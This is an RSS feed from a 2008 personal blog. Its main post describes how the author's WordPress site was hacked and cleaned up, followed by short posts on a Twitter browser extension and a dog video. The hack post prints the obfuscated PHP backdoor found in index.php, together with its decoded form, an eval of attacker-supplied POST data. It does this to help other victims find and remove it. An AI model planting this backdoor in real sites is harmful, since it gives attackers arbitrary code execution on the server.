<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>mike demers dot net</title>
	<atom:link href="http://mikedemers.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://mikedemers.net</link>
	<description>foo!</description>
	<pubDate>Thu, 24 Jul 2008 09:20:56 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6</generator>
	<language>en</language>
			<item>
		<title>My WordPress Blog Got Hacked by a Spammer</title>
		<link>http://mikedemers.net/2008/07/16/wordpress-blog-hacked-by-spammer/</link>
		<comments>http://mikedemers.net/2008/07/16/wordpress-blog-hacked-by-spammer/#comments</comments>
		<pubDate>Thu, 17 Jul 2008 02:29:50 +0000</pubDate>
		<dc:creator>mike</dc:creator>
		
		<category><![CDATA[all]]></category>

		<guid isPermaLink="false">http://mikedemers.net/?p=26</guid>
		<description><![CDATA[My little blog was hacked. Hax0red. Pwn3d. And I&#8217;m fairly certain it wasn&#8217;t done by Angelina Jolie and Jonny Lee Miller hacking away on spray painted keyboards to the sound of thumping techno music.
Nope, I got hacked by some stupid bot that was probably launched by some stupid script kiddie on some stupid PC in [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-38" style="margin-left: 12px; margin-right: 12px; border: 1px solid black;" title="hacker" src="http://mikedemers.net/wp-content/uploads/2008/07/hacker.jpg" alt="" width="243" height="205" />My little blog was hacked. Hax0red. Pwn3d. And I&#8217;m fairly certain it wasn&#8217;t done by <a title="Hackers - Starring Angelina Jolie" href="http://www.amazon.com/dp/6305047456?tag=mddn-20">Angelina Jolie and Jonny Lee Miller hacking away</a> on spray painted keyboards to the sound of <a title="Hackers Soundtrack - Way better than the movie..." href="http://www.amazon.com/dp/B000005OMF?tag=mddn-20">thumping techno music</a>.</p>
<p>Nope, I got hacked by some stupid bot that was probably launched by some stupid script kiddie on some stupid PC in some stupid basement. Yeah, I&#8217;m a little bitter.</p>
<p>I&#8217;ve since cleaned up the mess but I still feel violated. And, to add insult to injury, I&#8217;m no longer the number one &#8220;mike demers&#8221; in Google search results&#8230; <em>Quelle horreur!</em></p>
<p>In the interest of helping out my fellow victims, I&#8217;m posting this semi-coherent round-up of information that I accumulated during the clean-up. If you&#8217;re only interested in the executive summary, it goes something like this:</p>
<h3>Recovering Your Hacked Blog (Short Version)</h3>
<ol>
<li>Take your site offline.</li>
<li>Back-up your Wordpress installation before doing anything. At a minimum, this includes your database, your <strong>wp-config.php</strong> file and the contents of your <strong>wp-content</strong> directory.</li>
<li>Upgrade to the <a title="Download the latest Wordpress" href="http://wordpress.org/download/">latest version of Wordpress</a>. As of this posting, the <a title="Wordpress 2.6 release announcement" href="http://wordpress.org/development/2008/07/wordpress-26-tyner/">latest version is 2.6</a> and it contains a number of important security fixes. You should do a fresh installation and then restore your customizations from your back-up.</li>
<li>Check your custom files and your database for backdoors and, if they&#8217;re clean, restore them. See below for more information on what to look for.</li>
<li><a title="yeah, yeah, i know profit is supposed to be Step 3..." href="http://www.fool.com/news/foth/2001/foth011108.htm">Profit</a>!</li>
</ol>
<p>If all of this is too intimidating – and you don&#8217;t have a nephew or friend you can rope in for help – you might want to consider moving to a fully hosted blogging solution such as <a href="http://wordpress.com/">Wordpress.com</a>, <a href="http://typepad.com/">Typepad</a>, <a href="http://blogger.com/">Blogger</a> or <a title="Tumblr" href="http://tumblr.com/">Tumblr</a>. If you&#8217;re undaunted by a little server maintenance then read on for the juicy details.</p>
<h3>What Happened?</h3>
<p>My WordPress theme had 7,500 spam links stuffed into it, adding 650KB (!) to every one of my pages. Here&#8217;s a glimpse of the junk that was in my theme&#8217;s <strong>footer.php</strong> template file:</p>
<p><img class="alignnone size-medium wp-image-36" title="WordPress template footer spam links" src="http://mikedemers.net/wp-content/uploads/2008/07/picture-12.png" alt="" width="350" height="145" /></p>
<p>My <strong>index.php</strong> file had a backdoor inserted into it:</p>
<pre>&lt;?php
/* Short and sweet */
eval(base64_decode('aWYoJF9QT1NUWyJwb3N0X2NsYXNzIl0pe2V2YWwodXJsZGVjb2RlKCRfUE9TVFsicG9zdF9jbGFzcyJdKSk7fQ=='));
define('WP_USE_THEMES', true);
require('./wp-blog-header.php');
?&gt;</pre>
<p>Hmm&#8230; that &#8220;<tt>eval()</tt>&#8221; on line 3 sure looks suspicious, doesn&#8217;t it?  The blob of text actually decodes to this lovely bit of PHP code:</p>
<pre>if($_POST[\"post_class\"]){eval(urldecode($_POST[\"post_class\"]));}</pre>
<p>That, ladies and gentlemen, is what we <em>in the biz</em> call a huge back door. It allowed the hackers to run any PHP code they wanted on my site by passing it as the <tt>post_class</tt> query parameter of an HTTP POST request.</p>
<p>Fortunately for me, that was the extent of the damage. There are other variations of this hack that insert themselves into your WordPress database, infiltrate your theme&#8217;s <strong>header.php</strong> template file and/or steal all search engine traffic by redirecting your visitors to their spam sites. These are not nice people.</p>
<p>If you&#8217;ve fallen victim to another type of hack, you might find these links to be useful:</p>
<ul>
<li>One of the Wordpress developers posts: <a title="Permanent Link to Did your WordPress site get hacked?" rel="bookmark" href="http://ocaoimh.ie/2008/06/08/did-your-wordpress-site-get-hacked/">Did your WordPress site get hacked?</a></li>
<li>J.D. over at the <a title="Get Rich Slowly - Highly Recommended Personal Finance Blog" href="http://www.getrichslowly.org/">excellent personal finance blog Get Rich Slowly</a> posts his experience: <a href="http://www.getrichslowly.org/blog/2008/06/08/patching-the-wordpress-anyresultsnet-hack/">Patching the WordPress AnyResults.Net Hack</a>.</li>
<li><a href="http://wordpressphilippines.org/blog/has-your-wordpress-been-hacked-recently/">Has Your WordPress Been Hacked Recently?</a></li>
<li><a href="http://www.mydigitallife.info/2008/06/10/wordpress-hack-recover-and-fix-google-and-search-engine-or-no-cookie-traffic-redirected-to-your-needsinfo-anyresultsnet-golden-infonet-and-other-illegal-sites/">WordPress Hack: Recover and Fix Google and Search Engine or No Cookie Traffic Redirected to Your-Needs.info, AnyResults.Net, Golden-Info.net and Other Illegal Sites</a>.</li>
</ul>
<h3>How do I fix it?</h3>
<p>In reading other people&#8217;s experiences, it&#8217;s clear that I got off easy. I was back up and running in 20 minutes. Here&#8217;s what I had to do:</p>
<p>First, I took my site offline by limiting access to my IP address. I&#8217;m running behind the nginx web server, so to do this I added these 2 lines to end of the <tt>server { &#8230; }</tt> section of the nginx config file:</p>
<pre>location / {
    allow  1.2.3.4;
    deny   all;
}</pre>
<p><span>Replace &#8220;1.2.3.4&#8243; with your IP address (see <a title="What's My IP Address?" href="http://whatsmyip.org/">What&#8217;s My IP?</a> if you aren&#8217;t sure of your IP address).</span></p>
<p>If your site is being served by an Apache server, you&#8217;ll want to add these two lines to your VHOST config or <strong>.htaccess</strong> file:</p>
<pre>Allow from 1.2.3.4
Deny from all</pre>
<p><span>Next, I backed up my WordPress database, my wp-config.php file and everything in the wp-content directory. I then removed all WordPress files from the web server.</span></p>
<p>Once my website directory was cleaned out, I installed the latest version of WordPress.</p>
<p>I then changed the password that WordPress uses to connect to my MySQL server. I&#8217;m on a virtual server running Debian Linux so the commands looked like this:</p>
<pre>$&gt; mysql -u root -p mysql
mysql&gt; update user set Password = password('YOUR_NEW_PASSWORD') where User = 'WP_USERNAME';
mysql&gt; flush privileges;</pre>
<p>Replace YOUR_NEW_PASSWORD with your new password and WP_USERNAME with the DB_USER value from your <em>old</em> <strong>wp-config.php</strong> file.</p>
<p>Then I went into my new WordPress installation and set up a new <strong>wp-config.php</strong> file based on the <strong>wp-config-sample.php</strong> file. If you&#8217;re following along at home, you can copy over the old values for DB_NAME and DB_USER but you will need to set DB_PASSWORD to the new MySQL password you just created. You will also need to set values for AUTH_KEY, SECURE_AUTH_KEY, and LOGGED_IN_KEY.  If your old <strong>wp-config.php</strong> file had those values defined, do <strong>NOT</strong> copy them to your new <strong>wp-config.php</strong> file.</p>
<p>At this point, I began restoring my custom files.  I checked each template file in my theme and removed any spam links (for me, they were only present in the <strong>footer.php</strong> file).  I also checked every plug-in as well as every file in my <strong>wp-uploads</strong> directory.</p>
<p>WIth my new wp-config.php file set up and my wp-content directory restored, I was ready to roll. (The new WordPress installation containted a new <strong>index.php</strong> so I didn&#8217;t have to deal with my old, backdoored one.) All that was left to do was to remove the Allow and Deny directives from my web server config file.</p>
<h3>Won&#8217;t get fooled again&#8230;</h3>
<p>By now you&#8217;ve probably realized that this is a huge pain in the buttocks and you&#8217;d really like to avoid it in the future. Here&#8217;s what I did to minimize the chance of a recurrence:</p>
<ul>
<li>Subscribed to the <a title="WordPress Updates RSS Feed" href="http://wordpress.org/development/feed/">WordPress Updates RSS feed</a> in my news reader so I can stay on top of new releases and security issues.</li>
<li>Installed <a title="Login Lockdown Plug-in for WordPress" href="http://www.bad-neighborhood.com/login-lockdown.html">Login Lockdown Plug-in</a> - WordPress doesn&#8217;t ship with any sort of login failure throttling.  If you&#8217;ve ever forgotten the password for your computer, you&#8217;ll be familiar with this concept since your computer probably locked you out for a few minutes after too many failed attempts. WordPress doesn&#8217;t do this, so the hackers can send millions of password guesses to your blog. This plug-in puts the kibosh on that treachery.</li>
<li>Set up <a title="Open Source TripWire" href="http://sourceforge.net/projects/tripwire/">TripWire</a> so I will be notified if any of the core WordPress files change. This won&#8217;t <em>prevent</em> a backdoor like I detailed above with my <strong>index.php</strong> file but it will at least bring the issue to my attention.</li>
</ul>
<p>There are other things you can do if you&#8217;re so inclined. You can install the <a title="WP Security Scan Plug-in for Wordpress" href="http://wordpress.org/extend/plugins/wp-security-scan/">WP Security Scan Plug-in</a> or the <a title="WP Automatic Upgrade Plug-in for WordPress" href="http://wordpress.org/extend/plugins/wordpress-automatic-upgrade/">WordPress Automatic Upgrade Plug-in</a>. They seem to be well-reviewed but I haven&#8217;t used either of them so <em>caveat installer</em>. Also, Noupe has a great post detailing various <a href="http://www.noupe.com/how-tos/wordpress-security-tips-and-hacks.html">Wordpress Security Tips and Hacks</a>.</p>
<p>Recommend WordPress reading:</p>
<p><a href="http://www.amazon.com/dp/0470149469?tag=mddn-20"><img class="size-full wp-image-30 alignleft" style="margin-left: 8px; margin-right: 8px;" title="WordPress for Dummies Book Cover" src="http://mikedemers.net/wp-content/uploads/2008/07/51lsbdhpiul_sl110_.jpg" alt="WordPress for Dummies" width="62" height="77" /></a></p>
<p><a title="WordPress for Dummies - Recommended Reading" href="http://www.amazon.com/dp/0470149469?tag=mddn-20">WordPress for Dummies</a> was written by the actual folks behind WordPress and really is an essential resource for WordPress users. Amazon says:</p>
<blockquote>
<p style="padding-left: 60px;">the codes, tags, and terminology can seem a little intimidating at first, but <em>WordPress for Dummies</em> breaks it all down to show you just how intuitive, friendly, and extensible the software really is…</p>
</blockquote>
<h3>I want my Google back!</h3>
<p>At this point, your site has been cleaned up but you&#8217;re probably not appearing in Google&#8217;s search results. This is most likely because Google still considers your blog to be a spam site. Matt Cutts, Google blogging engineer extraordinaire, has a couple of posts on this subject. In <a href="http://www.mattcutts.com/blog/how-google-handles-hacked-sites/">How Google handles hacked sites</a> he explains Google&#8217;s side of the issue:</p>
<blockquote><p>This site was hacked and stuffed with a bunch of hidden spammy porn words and links. Google detected the spam in less than 10 days; that’s faster than the site owner noticed it. We temporarily removed the site from our index so that users wouldn’t get the spammy porn back in response to queries. We made it possible for the webmaster to verify that their site was penalized. Then we emailed the site, with the<strong>exact page</strong> and the <strong>exact text</strong> that was causing problems.</p></blockquote>
<p>And in the more recent post, <a href="http://www.mattcutts.com/blog/helping-hacked-sites/">Helping hacked sites</a>, he describes some steps that hacking victims can take do restore their Google juice:</p>
<blockquote><p>Getting hacked is not fun. It’s just not. But I think Google does the right thing for our users by removing hacked sites from our index temporarily. I also think we do a pretty good job of trying to alert site owners that they’ve been hacked — more than any other search engine does. We alert many webmasters about hacked sites not only via email but also with our <a href="http://www.google.com/webmasters/tools">webmaster console</a>.</p></blockquote>
<p>Google has some information available in its help documentation: <a title="Google Help: How do I request reconsideration of my site?" href="http://www.google.com/support/webmasters/bin/answer.py?answer=35843">How do I request reconsideration of my site?</a> and here: <a href="http://googlewebmastercentral.blogspot.com/2008/07/requesting-reconsideration-using-google.html">Requesting reconsideration using Google Webmaster Tools</a>. Essentially their advice is to sign up for the <a title="Google Webmaster Tools: webmaster console" href="https://www.google.com/webmasters/tools/">Google Webmaster Console</a>. I did and I highly recommend you do the same, even if you haven&#8217;t been hacked, since it offers a bunch of cool features.</p>
<p>Recommended Google reading:</p>
<p><a href="http://www.amazon.com/dp/1857885023?tag=mddn-20"><img class="alignleft size-full wp-image-32" style="margin-left: 8px; margin-right: 8px;" title="Getting to the Top on Google" src="http://mikedemers.net/wp-content/uploads/2008/07/514dxqz4whl_sl110_.jpg" alt="" width="52" height="77" /></a><a title="Getting to the Top on Google - Recommended Reading" href="http://www.amazon.com/dp/1857885023?tag=mddn-20">Getting to the Top on Google</a>: “Tips and Techniques to Get Your Site to the Top of the Search Engine Rankings &#8212; and Stay There” is a decent guide to squeezing the most Google juice possible out of your content. Amazon says that it&#8217;s:</p>
<blockquote>
<p style="padding-left: 60px;">Written in a clear, non-technical, style by a leading expert in SEO (search engine optimization)… explains techniques and strategies proven to return higher search engine rankings and sales. It addresses all aspects of search engine marketing…</p>
</blockquote>
<h3>Good Luck</h3>
<p>Hopefully this information will help you out if you too have been hacked. As for me, I&#8217;m a glass-is-half-full kind of guy so I&#8217;m going to look at this as an opportunity. After all, my site was long overdue for a makeover. Perhaps an updated theme, maybe a snazzy new favicon and – I don&#8217;t want to get carried away here but –  maybe, <em>just maybe</em> even a new post or two.</p>
]]></content:encoded>
			<wfw:commentRss>http://mikedemers.net/2008/07/16/wordpress-blog-hacked-by-spammer/feed/</wfw:commentRss>
		</item>
		<item>
		<title>announcing&#8230; Tweetbar</title>
		<link>http://mikedemers.net/2007/03/19/announcing-tweetbar/</link>
		<comments>http://mikedemers.net/2007/03/19/announcing-tweetbar/#comments</comments>
		<pubDate>Tue, 20 Mar 2007 07:23:00 +0000</pubDate>
		<dc:creator>mike</dc:creator>
		
		<category><![CDATA[all]]></category>

		<guid isPermaLink="false">http://mikedemers.net/2007/03/19/announcing-tweetbar/</guid>
		<description><![CDATA[Update (July 15, 2008) My apologies for the lack of updates to the TweetBar&#8230;  Health issues have kept me offline for the last year or so but I&#8217;m back now and I should have an updated, Firefox3-ready TweetBar available in the next few weeks.
Because there aren&#8217;t enough ways to get your Twitter on, I [...]]]></description>
			<content:encoded><![CDATA[<p style="border:1px solid #933;background-color:#f4eeee;color:#000;padding:5px 10px;"><strong>Update (July 15, 2008)</strong> My apologies for the lack of updates to the TweetBar&#8230;  Health issues have kept me offline for the last year or so but I&#8217;m back now and I should have an updated, Firefox3-ready TweetBar available in the next few weeks.</p>
<p>Because there aren&#8217;t enough ways to get your <a href="http://twitter.com/">Twitter</a> on, I give to you&#8230; <a href="/projects/tweetbar/">Tweetbar</a>.</p>
<p style="float: left; padding-right: 8px"><script type="text/javascript"><!--
 digg_url = "http://digg.com/tech_news/Update_Twitter_from_your_Browser_with_Tweetbar"; 
// --></script><br />
<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></p>
<p><a title="Photo Sharing" href="http://www.flickr.com/photos/mdd/427882412/"><img src="http://farm1.static.flickr.com/154/427882412_a6ce58e634_m.jpg" alt="tweetbar 1.0 in flock" width="240" height="158" /></a></p>
<p style="clear: both; border: 0pt none ; margin: 0pt; padding: 0pt; font-size: 8px"> </p>
<p>Tweetbar is a handy way to use Twitter right from the comfort of your browser&#8230;  provided your browser is Firefox or Flock.</p>
<p>Tweetbar may or may not be the most wicked awesome sidebar ever.  To find out for yourself, head over to my <a title="Tweetbar Homepage" href="/projects/tweetbar/">Tweetbar page</a> and click on the <strong>Install Tweetbar</strong> link.</p>
<p>Disclaimer: I&#8217;m a total browser extension n00b, so please let me know if you have any problems with Tweetbar. (<em>Of course, non-problem-related feedback is welcome as well&#8230;  especially if it&#8217;s positive.</em>)</p>
<p><strong>Update (mar.24)</strong> -  I&#8217;m currently working on a new release of Tweetbar with a bunch of new features&#8230;  I&#8217;m going to be out of town until Tuesday (3/27) so look for the next update on Wednesday or Thursday (3/28 or 3/29).  In the meantime, keep that feedback coming!  Thanks.</p>
<p><strong>Update (mar.21)</strong> -  I just released an update that enables auto-login, recognizes more URLs in status messages, fixes a bunch of bugs and speeds up some slow areas.  If you already have the Tweetbar installed, you will automatically get the updated code the next time you open the Tweetbar.  You can read more about this update on the <a title="Get the Tweetbar!" href="/projects/tweetbar/">Tweetbar project page</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://mikedemers.net/2007/03/19/announcing-tweetbar/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Dog Fashion in Pioneer Square</title>
		<link>http://mikedemers.net/2007/02/11/dog-fashion-in-pioneer-square/</link>
		<comments>http://mikedemers.net/2007/02/11/dog-fashion-in-pioneer-square/#comments</comments>
		<pubDate>Mon, 12 Feb 2007 05:07:00 +0000</pubDate>
		<dc:creator>mike</dc:creator>
		
		<category><![CDATA[all]]></category>

		<guid isPermaLink="false">http://mikedemers.net/2007/02/11/dog-fashion-in-pioneer-square/</guid>
		<description><![CDATA[
Click to Play
Drew interviews the owner of Seattle&#8217;s Best Dressed dog.
This video was originally shared on blip.tv by mdd with a Creative Commons Attribution-NonCommercial-ShareAlike license.
]]></description>
			<content:encoded><![CDATA[<p><script type="text/javascript" src="http://blip.tv/scripts/pokkariPlayer.js"></script><script type="text/javascript" src="http://blip.tv/syndication/write_player?skin=js&#038;posts_id=151546&#038;source=3&#038;autoplay=true&#038;file_type=flv&#038;player_width=&#038;player_height=308"></script>
<p id="blip_movie_content_151546"><a href="http://blip.tv/file/get/Mdd-DogFashionInPioneerSquare536.mov" onclick="play_blip_movie_151546(); return false;"><img src="http://blip.tv/uploadedFiles/Mdd-DogFashionInPioneerSquare151.jpeg" border="0" width="500" height="375" title="Click to Play" /></a><br /><a href="http://blip.tv/file/get/Mdd-DogFashionInPioneerSquare536.mov" onclick="play_blip_movie_151546(); return false;">Click to Play</a></p>
<p class="blip_description">Drew interviews the owner of Seattle&#8217;s Best Dressed dog.</p>
<p class="blip_credit">This video was originally shared on <a href="http://blip.tv">blip.tv</a> by <a href="http://blip.tv/users/view/mdd">mdd</a> with a <a href="http://creativecommons.org/licenses/by-nc-sa/2.0/">Creative Commons Attribution-NonCommercial-ShareAlike</a> license.</p>
]]></content:encoded>
			<wfw:commentRss>http://mikedemers.net/2007/02/11/dog-fashion-in-pioneer-square/feed/</wfw:commentRss>
<enclosure url="http://blip.tv/file/get/Mdd-DogFashionInPioneerSquare536.mov" length="7560572" type="video/quicktime" />
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.364 seconds -->
